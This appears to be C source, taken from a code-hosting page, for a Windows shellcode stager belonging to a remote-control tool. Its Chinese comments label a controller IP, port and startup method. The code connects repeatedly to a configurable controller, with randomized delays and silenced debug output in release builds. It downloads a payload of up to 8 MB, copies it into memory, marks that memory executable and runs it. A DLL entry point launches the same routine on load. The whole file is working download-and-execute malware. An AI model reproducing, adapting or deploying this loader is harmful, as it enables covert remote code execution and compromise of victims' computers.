270 lines
7.5 KiB
C
270 lines
7.5 KiB
C
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||
#define _CRT_SECURE_NO_WARNINGS
|
||
#include <winsock2.h>
|
||
#include <ws2tcpip.h>
|
||
#include <time.h>
|
||
#include <assert.h>
|
||
#include <stdbool.h>
|
||
#include <stdint.h>
|
||
|
||
#ifdef _DEBUG
|
||
#include <stdio.h>
|
||
#define Mprintf printf
|
||
#define IsRelease 0
|
||
#else
|
||
#define Mprintf(format, ...)
|
||
#define IsRelease 1
|
||
#endif
|
||
#include <stdlib.h>
|
||
|
||
#pragma comment(lib, "ws2_32.lib")
|
||
|
||
#pragma pack(push, 4)
|
||
typedef struct PkgHeader {
|
||
char flag[8];
|
||
int totalLen;
|
||
int originLen;
|
||
} PkgHeader;
|
||
|
||
struct CONNECT_ADDRESS
|
||
{
|
||
char szFlag[32]; // 标识
|
||
char szServerIP[100]; // 主控IP
|
||
char szPort[8]; // 主控端口
|
||
int iType; // 客户端类型
|
||
bool bEncrypt; // 上线信息是否加密
|
||
char szBuildDate[12]; // 构建日期(版本)
|
||
int iMultiOpen; // 支持打开多个
|
||
int iStartup; // 启动方式
|
||
int iHeaderEnc; // 数据加密类型
|
||
char protoType; // 协议类型
|
||
char runningType; // 运行方式
|
||
char szReserved[44]; // 占位，使结构体占据300字节
|
||
uint64_t parentHwnd; // 父进程窗口句柄
|
||
uint64_t superAdmin; // 管理员主控ID
|
||
char pwdHash[64]; // 密码哈希
|
||
}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
|
||
#pragma pack(pop)
|
||
|
||
typedef struct PluginParam {
|
||
char IP[100];
|
||
int Port;
|
||
void* Exit;
|
||
void* User;
|
||
}PluginParam;
|
||
|
||
PkgHeader MakePkgHeader(int originLen) {
|
||
PkgHeader header = { 0 };
|
||
memcpy(header.flag, "Hello?", 6);
|
||
header.originLen = originLen;
|
||
header.totalLen = sizeof(PkgHeader) + originLen;
|
||
return header;
|
||
}
|
||
|
||
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||
{
|
||
struct sockaddr_in sa = {0};
|
||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||
strncpy(outIpBuffer, hostName, bufferSize - 1);
|
||
outIpBuffer[bufferSize - 1] = '\0';
|
||
return 0;
|
||
}
|
||
|
||
struct addrinfo hints = {0};
|
||
struct addrinfo* res = NULL;
|
||
hints.ai_family = AF_INET; // IPv4 only
|
||
hints.ai_socktype = SOCK_STREAM;
|
||
hints.ai_protocol = IPPROTO_TCP;
|
||
if (getaddrinfo(hostName, NULL, &hints, &res) != 0 || res == NULL) {
|
||
return -1;
|
||
}
|
||
|
||
struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr;
|
||
if (inet_ntop(AF_INET, &(ipv4->sin_addr), outIpBuffer, bufferSize) == NULL) {
|
||
freeaddrinfo(res);
|
||
return -2;
|
||
}
|
||
|
||
freeaddrinfo(res);
|
||
return 0;
|
||
}
|
||
|
||
const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
|
||
if (!sIP || !sizeOut) return NULL;
|
||
|
||
WSADATA wsaData;
|
||
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
|
||
return NULL;
|
||
|
||
char serverIP[INET_ADDRSTRLEN] = { 0 };
|
||
if (GetIPAddress(sIP, serverIP, sizeof(serverIP)) == 0) {
|
||
Mprintf("Resolved IP: %s\n", serverIP);
|
||
} else {
|
||
Mprintf("Failed to resolve '%s'.\n", sIP);
|
||
WSACleanup();
|
||
return NULL;
|
||
}
|
||
|
||
srand(time(NULL));
|
||
const int bufSize = (8 * 1024 * 1024);
|
||
char* buffer = NULL;
|
||
BOOL isFirstConnect = TRUE;
|
||
int attemptCount = 0, requestCount = 0;
|
||
do {
|
||
if (!isFirstConnect)
|
||
Sleep(IsRelease ? rand()%60 * 1000 : 5000);
|
||
isFirstConnect = FALSE;
|
||
if (++attemptCount == 20)
|
||
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
|
||
Mprintf("Connecting attempt #%d -> %s:%d \n", attemptCount, serverIP, serverPort);
|
||
|
||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||
if (clientSocket == INVALID_SOCKET)
|
||
continue;
|
||
|
||
DWORD timeout = 30000;
|
||
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
|
||
|
||
struct sockaddr_in serverAddr = { 0 };
|
||
serverAddr.sin_family = AF_INET;
|
||
serverAddr.sin_port = htons(serverPort);
|
||
serverAddr.sin_addr.s_addr = inet_addr(serverIP);
|
||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||
closesocket(clientSocket);
|
||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||
continue;
|
||
}
|
||
|
||
char command[4] = { 210, sizeof(void*) == 8, 0, IsRelease };
|
||
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||
PkgHeader h = MakePkgHeader(sizeof(command));
|
||
memcpy(req, &h, sizeof(PkgHeader));
|
||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||
int bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||
if (bytesSent != sizeof(req)) {
|
||
closesocket(clientSocket);
|
||
continue;
|
||
}
|
||
|
||
int totalReceived = 0;
|
||
buffer = buffer ? buffer : (char*)malloc(bufSize);
|
||
if (!buffer) {
|
||
closesocket(clientSocket);
|
||
continue;
|
||
}
|
||
if (requestCount < 3) {
|
||
requestCount++;
|
||
const int bufferSize = 16 * 1024;
|
||
time_t tm = time(NULL);
|
||
while (totalReceived < bufSize) {
|
||
int bytesToReceive = (bufferSize < bufSize - totalReceived) ? bufferSize : (bufSize - totalReceived);
|
||
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
|
||
if (bytesReceived <= 0) {
|
||
Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError());
|
||
break;
|
||
}
|
||
totalReceived += bytesReceived;
|
||
if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) {
|
||
Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm));
|
||
break;
|
||
}
|
||
}
|
||
} else {
|
||
closesocket(clientSocket);
|
||
break;
|
||
}
|
||
|
||
PkgHeader* header = (PkgHeader*)buffer;
|
||
if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) {
|
||
Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived);
|
||
closesocket(clientSocket);
|
||
continue;
|
||
}
|
||
unsigned char* ptr = buffer + sizeof(PkgHeader);
|
||
int size = 0;
|
||
BYTE cmd = ptr[0], type = ptr[1];
|
||
memcpy(&size, ptr + 2, sizeof(int));
|
||
*sizeOut = size;
|
||
if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) {
|
||
closesocket(clientSocket);
|
||
break;
|
||
}
|
||
closesocket(clientSocket);
|
||
WSACleanup();
|
||
return buffer;
|
||
} while (1);
|
||
|
||
free(buffer);
|
||
WSACleanup();
|
||
return NULL;
|
||
}
|
||
|
||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||
{
|
||
for (int i = 0; i < iBufferSize - iKeySize; ++i){
|
||
if (0 == memcmp(szBuffer + i, Key, iKeySize)){
|
||
return i;
|
||
}
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
#ifdef _WINDLL
|
||
#define DLL_API __declspec(dllexport)
|
||
#else
|
||
#define DLL_API
|
||
#endif
|
||
|
||
extern DLL_API DWORD WINAPI run(LPVOID param) {
|
||
PluginParam* info = (PluginParam*)param;
|
||
int size = 0;
|
||
const char* dllData = ReceiveShellcode(info->IP, info->Port, &size);
|
||
if (dllData == NULL) return -1;
|
||
void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||
if (NULL == execMem) return -2;
|
||
char find[] = "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43";
|
||
int offset = MemoryFind(dllData, find, size, sizeof(find)-1);
|
||
if (offset != -1) {
|
||
memcpy(dllData + offset, info->User, 64);
|
||
}
|
||
memcpy(execMem, dllData + 22, size);
|
||
free((void*)dllData);
|
||
DWORD oldProtect = 0;
|
||
if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3;
|
||
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)0, (LPARAM)0);
|
||
((void(*)())execMem)();
|
||
return 0;
|
||
}
|
||
|
||
#ifndef _WINDLL
|
||
|
||
int main() {
|
||
assert(sizeof(struct CONNECT_ADDRESS) == 300);
|
||
PluginParam param = { 0 };
|
||
strcpy(param.IP, g_Server.szServerIP);
|
||
param.Port = atoi(g_Server.szPort);
|
||
param.User = g_Server.pwdHash;
|
||
DWORD result = run(¶m);
|
||
Sleep(INFINITE);
|
||
return result;
|
||
}
|
||
|
||
#else
|
||
|
||
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
||
{
|
||
static HANDLE threadHandle = NULL;
|
||
if (fdwReason == DLL_PROCESS_ATTACH){
|
||
static PluginParam param = { 0 };
|
||
strcpy(param.IP, g_Server.szServerIP);
|
||
param.Port = atoi(g_Server.szPort);
|
||
param.User = g_Server.pwdHash;
|
||
threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL);
|
||
} else if (fdwReason == DLL_PROCESS_DETACH) {
|
||
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
#endif
|